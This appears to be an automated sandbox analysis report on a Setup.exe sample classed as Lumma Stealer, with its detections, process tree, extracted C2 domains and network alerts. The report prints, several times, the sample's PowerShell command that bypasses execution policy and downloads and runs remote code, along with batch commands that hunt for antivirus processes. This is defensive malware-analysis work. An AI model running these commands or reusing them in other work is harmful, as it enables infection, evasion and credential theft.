Edit tour

Windows Analysis Report
Setup.exe

Overview

General Information

Sample name:	Setup.exe
Analysis ID:	1584504
MD5:	d07b60405395929fa6cc003b858c2f37
SHA1:	c1a890e84c98de3f8e330c78c534cf434b677a97
SHA256:	2254c1261c9c6aa2dd777a2ebf9cc28e634f1f6249f4c352b0451ef9f6406ff1
Tags:	AutoITexeLummaStealeruser-aachum
Infos:

Detection

LummaC

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus detection for URL or domain

Found malware configuration

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Sigma detected: Search for Antivirus process

Suricata IDS alerts for network traffic

Yara detected LummaC Stealer

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Drops PE files with a suspicious file extension

Found direct / indirect Syscall (likely to bypass EDR)

LummaC encrypted strings found

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Query firmware table information (likely to detect VMs)

Sample or dropped binary is a compiled AutoHotkey binary

Sample uses string decryption to hide its real strings

Sigma detected: PowerShell Download and Execution Cradles

Sigma detected: Suspicious PowerShell Parameter Substring

Suspicious powershell command line found

Switches to a custom stack to bypass stack traces

Tries to detect virtualization through RDTSC time measurements

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

AV process strings found (often used to terminate AV products)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Contains functionality for read data from the clipboard

Contains functionality to dynamically determine API calls

Contains functionality to retrieve information about pressed keystrokes

Contains functionality to shutdown / reboot the system

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected potential crypto function

Dropped file seen in connection with other malware

Drops PE files

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Found potential string decryption / allocating functions

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

PE / OLE file has an invalid certificate

PE file contains an invalid checksum

PE file contains executable resources (Code or Archives)

PE file contains more sections than normal

PE file contains sections with non-standard names

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Searches for user specific document files

Sigma detected: Change PowerShell Policies to an Insecure Level

Sigma detected: PowerShell Web Download

Sigma detected: Usage Of Web Request Commands And Cmdlets

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses a known web browser user agent for HTTP communication

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

Setup.exe (PID: 2228 cmdline: "C:\Users\user\Desktop\Setup.exe" MD5: D07B60405395929FA6CC003B858C2F37)

cmd.exe (PID: 5840 cmdline: "C:\Windows\System32\cmd.exe" /c move Unlock Unlock.cmd & Unlock.cmd MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 6000 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

tasklist.exe (PID: 5652 cmdline: tasklist MD5: 0A4448B31CE7F83CB7691A2657F330F1)

findstr.exe (PID: 4564 cmdline: findstr /I "opssvc wrsa" MD5: F1D4BE0E99EC734376FDE474A8D4EA3E)

tasklist.exe (PID: 5768 cmdline: tasklist MD5: 0A4448B31CE7F83CB7691A2657F330F1)

findstr.exe (PID: 2956 cmdline: findstr "AvastUI AVGUI bdservicehost nsWscSvc ekrn SophosHealth" MD5: F1D4BE0E99EC734376FDE474A8D4EA3E)

cmd.exe (PID: 2212 cmdline: cmd /c md 96053 MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

extrac32.exe (PID: 5980 cmdline: extrac32 /Y /E Gap MD5: 9472AAB6390E4F1431BAA912FCFF9707)

findstr.exe (PID: 6644 cmdline: findstr /V "Reprint" Shower MD5: F1D4BE0E99EC734376FDE474A8D4EA3E)

cmd.exe (PID: 5908 cmdline: cmd /c copy /b 96053\Edgar.com + Lightweight + Surely + Prohibited + Pensions + Vid + Bm + Diagram + Value + Temperature + Skill + Pics 96053\Edgar.com MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

cmd.exe (PID: 6152 cmdline: cmd /c copy /b ..\Firewall + ..\Rape + ..\Introduced + ..\Infrastructure + ..\Transcript + ..\Lower + ..\Lease R MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

Edgar.com (PID: 5372 cmdline: Edgar.com R MD5: 62D09F076E6E0240548C2F837536A46A)

powershell.exe (PID: 3040 cmdline: powershell -exec bypass [Net.servicepOINTmANaGer]::SEcURiTyPrOtoCOl = [Net.SecUriTyprOtocoltYPe]::tLs12; $gD='https://dfgh.online/invoker.php?compName='+$env:computername; $pTSr = iWr -uRi $gD -uSebASIcpARsiNg -UsErAGent 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/57.36 (KHTML, like Gecko) Chrome/12.0.0.0 Safari/57.36'; IEx $Ptsr.Content; MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

conhost.exe (PID: 2748 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

EN18TCIE9X2WO7WY5K3PQUR0YAR5W.exe (PID: 7064 cmdline: "C:\Users\user\AppData\Local\Temp\EN18TCIE9X2WO7WY5K3PQUR0YAR5W.exe" MD5: 51F99EDDD33CC04FB0F55F873B76D907)

EN18TCIE9X2WO7WY5K3PQUR0YAR5W.tmp (PID: 5036 cmdline: "C:\Users\user\AppData\Local\Temp\is-F349O.tmp\EN18TCIE9X2WO7WY5K3PQUR0YAR5W.tmp" /SL5="$50456,7785838,845824,C:\Users\user\AppData\Local\Temp\EN18TCIE9X2WO7WY5K3PQUR0YAR5W.exe" MD5: F809F51E678B7F2E388F8C969EF902C8)

EN18TCIE9X2WO7WY5K3PQUR0YAR5W.exe (PID: 6436 cmdline: "C:\Users\user\AppData\Local\Temp\EN18TCIE9X2WO7WY5K3PQUR0YAR5W.exe" /VERYSILENT MD5: 51F99EDDD33CC04FB0F55F873B76D907)

EN18TCIE9X2WO7WY5K3PQUR0YAR5W.tmp (PID: 2232 cmdline: "C:\Users\user\AppData\Local\Temp\is-CBG8Q.tmp\EN18TCIE9X2WO7WY5K3PQUR0YAR5W.tmp" /SL5="$B0354,7785838,845824,C:\Users\user\AppData\Local\Temp\EN18TCIE9X2WO7WY5K3PQUR0YAR5W.exe" /VERYSILENT MD5: F809F51E678B7F2E388F8C969EF902C8)

timeout.exe (PID: 6764 cmdline: "timeout" 9 MD5: 100065E21CFBBDE57CBA2838921F84D6)

conhost.exe (PID: 4720 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cmd.exe (PID: 6780 cmdline: "cmd.exe" /C tasklist /FI "IMAGENAME eq wrsa.exe" /FO CSV /NH | find /I "wrsa.exe" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 6156 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

tasklist.exe (PID: 4308 cmdline: tasklist /FI "IMAGENAME eq wrsa.exe" /FO CSV /NH MD5: D0A49A170E13D7F6AEBBEFED9DF88AAA)

find.exe (PID: 5764 cmdline: find /I "wrsa.exe" MD5: 4BF76A28D31FC73AA9FC970B22D056AF)

cmd.exe (PID: 1532 cmdline: "cmd.exe" /C tasklist /FI "IMAGENAME eq opssvc.exe" /FO CSV /NH | find /I "opssvc.exe" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 6512 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

tasklist.exe (PID: 2656 cmdline: tasklist /FI "IMAGENAME eq opssvc.exe" /FO CSV /NH MD5: D0A49A170E13D7F6AEBBEFED9DF88AAA)

find.exe (PID: 1708 cmdline: find /I "opssvc.exe" MD5: 4BF76A28D31FC73AA9FC970B22D056AF)

cmd.exe (PID: 3748 cmdline: "cmd.exe" /C tasklist /FI "IMAGENAME eq avastui.exe" /FO CSV /NH | find /I "avastui.exe" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 2640 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

tasklist.exe (PID: 6152 cmdline: tasklist /FI "IMAGENAME eq avastui.exe" /FO CSV /NH MD5: D0A49A170E13D7F6AEBBEFED9DF88AAA)

find.exe (PID: 5284 cmdline: find /I "avastui.exe" MD5: 4BF76A28D31FC73AA9FC970B22D056AF)

cmd.exe (PID: 5420 cmdline: "cmd.exe" /C tasklist /FI "IMAGENAME eq avgui.exe" /FO CSV /NH | find /I "avgui.exe" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 5488 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

tasklist.exe (PID: 1712 cmdline: tasklist /FI "IMAGENAME eq avgui.exe" /FO CSV /NH MD5: D0A49A170E13D7F6AEBBEFED9DF88AAA)

find.exe (PID: 4408 cmdline: find /I "avgui.exe" MD5: 4BF76A28D31FC73AA9FC970B22D056AF)

cmd.exe (PID: 3580 cmdline: "cmd.exe" /C tasklist /FI "IMAGENAME eq nswscsvc.exe" /FO CSV /NH | find /I "nswscsvc.exe" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 6844 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

tasklist.exe (PID: 5296 cmdline: tasklist /FI "IMAGENAME eq nswscsvc.exe" /FO CSV /NH MD5: D0A49A170E13D7F6AEBBEFED9DF88AAA)

find.exe (PID: 1252 cmdline: find /I "nswscsvc.exe" MD5: 4BF76A28D31FC73AA9FC970B22D056AF)

cmd.exe (PID: 5084 cmdline: "cmd.exe" /C tasklist /FI "IMAGENAME eq sophoshealth.exe" /FO CSV /NH | find /I "sophoshealth.exe" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 4856 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

tasklist.exe (PID: 3772 cmdline: tasklist /FI "IMAGENAME eq sophoshealth.exe" /FO CSV /NH MD5: D0A49A170E13D7F6AEBBEFED9DF88AAA)

find.exe (PID: 3608 cmdline: find /I "sophoshealth.exe" MD5: 4BF76A28D31FC73AA9FC970B22D056AF)

BrightLib.exe (PID: 5492 cmdline: "C:\Users\user\AppData\Roaming\ColorStreamLib\BrightLib.exe" MD5: 6A8860A8150021B2D5B9BB707DE4FA37)

choice.exe (PID: 6084 cmdline: choice /d y /t 5 MD5: FCE0E41C87DC4ABBE976998AD26C27E4)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Lumma Stealer, LummaC2 Stealer	Lumma Stealer (aka LummaC2 Stealer) is an information stealer written in C language that has been available through a Malware-as-a-Service (MaaS) model on Russian-speaking forums since at least August 2022. It is believed to have been developed by the threat actor "Shamel", who goes by the alias "Lumma". Lumma Stealer primarily targets cryptocurrency wallets and two-factor authentication (2FA) browser extensions, before ultimately stealing sensitive information from the victim's machine. Once the targeted data is obtained, it is exfiltrated to a C2 server via HTTP POST requests using the user agent "TeslaBrowser/5.5"." The stealer also features a non-resident loader that is capable of delivering additional payloads via EXE, DLL, and PowerShell.	No Attribution	https://0xmrmagnezi.github.io/malware%20analysis/LummaStealer/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/lummac2-breakdown#chrome-extensions-crx https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.cyble.com/2023/01/06/lummac2-stealer-a-potent-threat-to-crypto-users/ https://blog.sekoia.io/exposing-fakebat-loader-distribution-methods-and-adversary-infrastructure/	https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma

Malware Configuration

Threatname: LummaC

{"C2 url": ["noisycuttej.shop", "wholersorie.shop", "tirepublicerj.shop", "abruptyopsn.shop", "cloudewahsj.shop", "nearycrepso.shop", "rabidcowse.shop", "quantitypitt.click", "framekgirus.shop"], "Build id": "hRjzG3--TRON"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
sslproxydump.pcap	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
sslproxydump.pcap	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author	Strings
decrypted.memstr	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security

Sigma Signatures

System Summary

Sigma detected: PowerShell Download and Execution Cradles

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: powershell -exec bypass [Net.servicepOINTmANaGer]::SEcURiTyPrOtoCOl = [Net.SecUriTyprOtocoltYPe]::tLs12; $gD='https://dfgh.online/invoker.php?compName='+$env:computername; $pTSr = iWr -uRi $gD -uSebASIcpARsiNg -UsErAGent 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/57.36 (KHTML, like Gecko) Chrome/12.0.0.0 Safari/57.36'; IEx $Ptsr.Content; , CommandLine: powershell -exec bypass [Net.servicepOINTmANaGer]::SEcURiTyPrOtoCOl = [Net.SecUriTyprOtocoltYPe]::tLs12; $gD='https://dfgh.online/invoker.php?compName='+$env:computername; $pTSr = iWr -uRi $gD -uSebASIcpARsiNg -UsErAGent 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/57.36 (KHTML, like Gecko) Chrome/12.0.0.0 Safari/57.36'; IEx $Ptsr.Content; , CommandLine|base64offset|contains: ^, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: Edgar.com R, ParentImage: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\96053\Edgar.com, ParentProcessId: 5372, ParentProcessName: Edgar.com, ProcessCommandLine: powershell -exec bypass [Net.servicepOINTmANaGer]::SEcURiTyPrOtoCOl = [Net.SecUriTyprOtocoltYPe]::tLs12; $gD='https://dfgh.online/invoker.php?compName='+$env:computername; $pTSr = iWr -uRi $gD -uSebASIcpARsiNg -UsErAGent 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/57.36 (KHTML, like Gecko) Chrome/12.0.0.0 Safari/57.36'; IEx $Ptsr.Content; , ProcessId: 3040, ProcessName: powershell.exe

Sigma detected: Suspicious PowerShell Parameter Substring

Source: Process started

Author: Florian Roth (Nextron Systems), Daniel Bohannon (idea), Roberto Rodriguez (Fix): Data: Command: powershell -exec bypass [Net.servicepOINTmANaGer]::SEcURiTyPrOtoCOl = [Net.SecUriTyprOtocoltYPe]::tLs12; $gD='https://dfgh.online/invoker.php?compName='+$env:computername; $pTSr = iWr -uRi $gD -uSebASIcpARsiNg -UsErAGent 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/57.36 (KHTML, like Gecko) Chrome/12.0.0.0 Safari/57.36'; IEx $Ptsr.Content; , CommandLine: powershell -exec bypass [Net.servicepOINTmANaGer]::SEcURiTyPrOtoCOl = [Net.SecUriTyprOtocoltYPe]::tLs12; $gD='https://dfgh.online/invoker.php?compName='+$env:computername; $pTSr = iWr -uRi $gD -uSebASIcpARsiNg -UsErAGent 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/57.36 (KHTML, like Gecko) Chrome/12.0.0.0 Safari/57.36'; IEx $Ptsr.Content; , CommandLine|base64offset|contains: ^, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: Edgar.com R, ParentImage: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\96053\Edgar.com, ParentProcessId: 5372, ParentProcessName: Edgar.com, ProcessCommandLine: powershell -exec bypass [Net.servicepOINTmANaGer]::SEcURiTyPrOtoCOl = [Net.SecUriTyprOtocoltYPe]::tLs12; $gD='https://dfgh.online/invoker.php?compName='+$env:computername; $pTSr = iWr -uRi $gD -uSebASIcpARsiNg -UsErAGent 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/57.36 (KHTML, like Gecko) Chrome/12.0.0.0 Safari/57.36'; IEx $Ptsr.Content; , ProcessId: 3040, ProcessName: powershell.exe

Sigma detected: Change PowerShell Policies to an Insecure Level

Source: Process started

Author: frack113: Data: Command: powershell -exec bypass [Net.servicepOINTmANaGer]::SEcURiTyPrOtoCOl = [Net.SecUriTyprOtocoltYPe]::tLs12; $gD='https://dfgh.online/invoker.php?compName='+$env:computername; $pTSr = iWr -uRi $gD -uSebASIcpARsiNg -UsErAGent 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/57.36 (KHTML, like Gecko) Chrome/12.0.0.0 Safari/57.36'; IEx $Ptsr.Content; , CommandLine: powershell -exec bypass [Net.servicepOINTmANaGer]::SEcURiTyPrOtoCOl = [Net.SecUriTyprOtocoltYPe]::tLs12; $gD='https://dfgh.online/invoker.php?compName='+$env:computername; $pTSr = iWr -uRi $gD -uSebASIcpARsiNg -UsErAGent 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/57.36 (KHTML, like Gecko) Chrome/12.0.0.0 Safari/57.36'; IEx $Ptsr.Content; , CommandLine|base64offset|contains: ^, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: Edgar.com R, ParentImage: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\96053\Edgar.com, ParentProcessId: 5372, ParentProcessName: Edgar.com, ProcessCommandLine: powershell -exec bypass [Net.servicepOINTmANaGer]::SEcURiTyPrOtoCOl = [Net.SecUriTyprOtocoltYPe]::tLs12; $gD='https://dfgh.online/invoker.php?compName='+$env:computername; $pTSr = iWr -uRi $gD -uSebASIcpARsiNg -UsErAGent 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/57.36 (KHTML, like Gecko) Chrome/12.0.0.0 Safari/57.36'; IEx $Ptsr.Content; , ProcessId: 3040, ProcessName: powershell.exe

Sigma detected: PowerShell Web Download

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: powershell -exec bypass [Net.servicepOINTmANaGer]::SEcURiTyPrOtoCOl = [Net.SecUriTyprOtocoltYPe]::tLs12; $gD='https://dfgh.online/invoker.php?compName='+$env:computername; $pTSr = iWr -uRi $gD -uSebASIcpARsiNg -UsErAGent 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/57.36 (KHTML, like Gecko) Chrome/12.0.0.0 Safari/57.36'; IEx $Ptsr.Content; , CommandLine: powershell -exec bypass [Net.servicepOINTmANaGer]::SEcURiTyPrOtoCOl = [Net.SecUriTyprOtocoltYPe]::tLs12; $gD='https://dfgh.online/invoker.php?compName='+$env:computername; $pTSr = iWr -uRi $gD -uSebASIcpARsiNg -UsErAGent 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/57.36 (KHTML, like Gecko) Chrome/12.0.0.0 Safari/57.36'; IEx $Ptsr.Content; , CommandLine|base64offset|contains: ^, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: Edgar.com R, ParentImage: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\96053\Edgar.com, ParentProcessId: 5372, ParentProcessName: Edgar.com, ProcessCommandLine: powershell -exec bypass [Net.servicepOINTmANaGer]::SEcURiTyPrOtoCOl = [Net.SecUriTyprOtocoltYPe]::tLs12; $gD='https://dfgh.online/invoker.php?compName='+$env:computername; $pTSr = iWr -uRi $gD -uSebASIcpARsiNg -UsErAGent 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/57.36 (KHTML, like Gecko) Chrome/12.0.0.0 Safari/57.36'; IEx $Ptsr.Content; , ProcessId: 3040, ProcessName: powershell.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell -exec bypass [Net.servicepOINTmANaGer]::SEcURiTyPrOtoCOl = [Net.SecUriTyprOtocoltYPe]::tLs12; $gD='https://dfgh.online/invoker.php?compName='+$env:computername; $pTSr = iWr -uRi $gD -uSebASIcpARsiNg -UsErAGent 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/57.36 (KHTML, like Gecko) Chrome/12.0.0.0 Safari/57.36'; IEx $Ptsr.Content; , CommandLine: powershell -exec bypass [Net.servicepOINTmANaGer]::SEcURiTyPrOtoCOl = [Net.SecUriTyprOtocoltYPe]::tLs12; $gD='https://dfgh.online/invoker.php?compName='+$env:computername; $pTSr = iWr -uRi $gD -uSebASIcpARsiNg -UsErAGent 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/57.36 (KHTML, like Gecko) Chrome/12.0.0.0 Safari/57.36'; IEx $Ptsr.Content; , CommandLine|base64offset|contains: ^, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: Edgar.com R, ParentImage: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\96053\Edgar.com, ParentProcessId: 5372, ParentProcessName: Edgar.com, ProcessCommandLine: powershell -exec bypass [Net.servicepOINTmANaGer]::SEcURiTyPrOtoCOl = [Net.SecUriTyprOtocoltYPe]::tLs12; $gD='https://dfgh.online/invoker.php?compName='+$env:computername; $pTSr = iWr -uRi $gD -uSebASIcpARsiNg -UsErAGent 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/57.36 (KHTML, like Gecko) Chrome/12.0.0.0 Safari/57.36'; IEx $Ptsr.Content; , ProcessId: 3040, ProcessName: powershell.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Search for Antivirus process

Source: Process started

Author: Joe Security: Data: Command: findstr "AvastUI AVGUI bdservicehost nsWscSvc ekrn SophosHealth" , CommandLine: findstr "AvastUI AVGUI bdservicehost nsWscSvc ekrn SophosHealth" , CommandLine|base64offset|contains: ~), Image: C:\Windows\SysWOW64\findstr.exe, NewProcessName: C:\Windows\SysWOW64\findstr.exe, OriginalFileName: C:\Windows\SysWOW64\findstr.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c move Unlock Unlock.cmd & Unlock.cmd, ParentImage: C:\Windows\SysWOW64\cmd.exe, ParentProcessId: 5840, ParentProcessName: cmd.exe, ProcessCommandLine: findstr "AvastUI AVGUI bdservicehost nsWscSvc ekrn SophosHealth" , ProcessId: 2956, ProcessName: findstr.exe

Suricata Signatures

ET JA3 Hash - Possible Malware - Fake Firefox Font Update

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-05T17:55:20.459864+0100	2028371	3	Unknown Traffic	192.168.2.5	49714	172.67.186.189	443	TCP
2025-01-05T17:55:21.413956+0100	2028371	3	Unknown Traffic	192.168.2.5	49720	172.67.186.189	443	TCP
2025-01-05T17:55:23.045100+0100	2028371	3	Unknown Traffic	192.168.2.5	49731	172.67.186.189	443	TCP
2025-01-05T17:55:24.114914+0100	2028371	3	Unknown Traffic	192.168.2.5	49742	172.67.186.189	443	TCP
2025-01-05T17:55:27.331925+0100	2028371	3	Unknown Traffic	192.168.2.5	49763	172.67.186.189	443	TCP
2025-01-05T17:55:31.135292+0100	2028371	3	Unknown Traffic	192.168.2.5	49788	172.67.186.189	443	TCP
2025-01-05T17:55:32.933019+0100	2028371	3	Unknown Traffic	192.168.2.5	49799	172.67.186.189	443	TCP
2025-01-05T17:55:34.387274+0100	2028371	3	Unknown Traffic	192.168.2.5	49810	172.67.186.189	443	TCP
2025-01-05T17:55:36.467251+0100	2028371	3	Unknown Traffic	192.168.2.5	49826	172.67.186.189	443	TCP
2025-01-05T17:55:37.633228+0100	2028371	3	Unknown Traffic	192.168.2.5	49832	185.161.251.21	443	TCP
2025-01-05T17:55:38.413777+0100	2028371	3	Unknown Traffic	192.168.2.5	49843	172.67.208.58	443	TCP

ET MALWARE Lumma Stealer CnC Host Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-05T17:55:20.933997+0100	2054653	1	A Network Trojan was detected	192.168.2.5	49714	172.67.186.189	443	TCP
2025-01-05T17:55:22.176598+0100	2054653	1	A Network Trojan was detected	192.168.2.5	49720	172.67.186.189	443	TCP
2025-01-05T17:55:36.919744+0100	2054653	1	A Network Trojan was detected	192.168.2.5	49826	172.67.186.189	443	TCP

ET MALWARE Lumma Stealer Related Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-05T17:55:20.933997+0100	2049836	1	A Network Trojan was detected	192.168.2.5	49714	172.67.186.189	443	TCP

ET MALWARE Lumma Stealer Related Activity M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-05T17:55:22.176598+0100	2049812	1	A Network Trojan was detected	192.168.2.5	49720	172.67.186.189	443	TCP

ET MALWARE Possible Windows executable sent when remote host claims to send a Text File

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-05T17:55:38.773322+0100	2008438	1	A Network Trojan was detected	172.67.208.58	443	192.168.2.5	49843	TCP

ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-05T17:55:32.428824+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.5	49788	172.67.186.189	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus detection for URL or domain

Source: https://dfgh.online/invoker.php?compName=user-PC

Avira URL Cloud: Label: malware

Found malware configuration

Source: 0000000D.00000003.2281615603.0000000003DFE000.00000004.00000800.00020000.00000000.sdmp

Malware Configuration Extractor: LummaC {"C2 url": ["noisycuttej.shop", "wholersorie.shop", "tirepublicerj.shop", "abruptyopsn.shop", "cloudewahsj.shop", "nearycrepso.shop", "rabidcowse.shop", "quantitypitt.click", "framekgirus.shop"], "Build id": "hRjzG3--TRON"}

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\EN18TCIE9X2WO7WY5K3PQUR0YAR5W.exe

ReversingLabs: Detection: 73%

Multi AV Scanner detection for submitted file

Source: Setup.exe	ReversingLabs: Detection: 21%
Source: Setup.exe	Virustotal: Detection: 28%			Perma Link

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 80.7% probability

Sample uses string decryption to hide its real strings

Source: 0000000D.00000003.2281615603.0000000003DFE000.00000004.00000800.00020000.00000000.sdmp	String decryptor: cloudewahsj.shop
Source: 0000000D.00000003.2281615603.0000000003DFE000.00000004.00000800.00020000.00000000.sdmp	String decryptor: rabidcowse.shop
Source: 0000000D.00000003.2281615603.0000000003DFE000.00000004.00000800.00020000.00000000.sdmp	String decryptor: noisycuttej.shop
Source: 0000000D.00000003.2281615603.0000000003DFE000.00000004.00000800.00020000.00000000.sdmp	String decryptor: tirepublicerj.shop
Source: 0000000D.00000003.2281615603.0000000003DFE000.00000004.00000800.00020000.00000000.sdmp	String decryptor: framekgirus.shop
Source: 0000000D.00000003.2281615603.0000000003DFE000.00000004.00000800.00020000.00000000.sdmp	String decryptor: wholersorie.shop
Source: 0000000D.00000003.2281615603.0000000003DFE000.00000004.00000800.00020000.00000000.sdmp	String decryptor: abruptyopsn.shop
Source: 0000000D.00000003.2281615603.0000000003DFE000.00000004.00000800.00020000.00000000.sdmp	String decryptor: nearycrepso.shop
Source: 0000000D.00000003.2281615603.0000000003DFE000.00000004.00000800.00020000.00000000.sdmp	String decryptor: quantitypitt.click
Source: 0000000D.00000003.2281615603.0000000003DFE000.00000004.00000800.00020000.00000000.sdmp	String decryptor: lid=%s&j=%s&ver=4.0
Source: 0000000D.00000003.2281615603.0000000003DFE000.00000004.00000800.00020000.00000000.sdmp	String decryptor: TeslaBrowser/5.5
Source: 0000000D.00000003.2281615603.0000000003DFE000.00000004.00000800.00020000.00000000.sdmp	String decryptor: - Screen Resoluton:
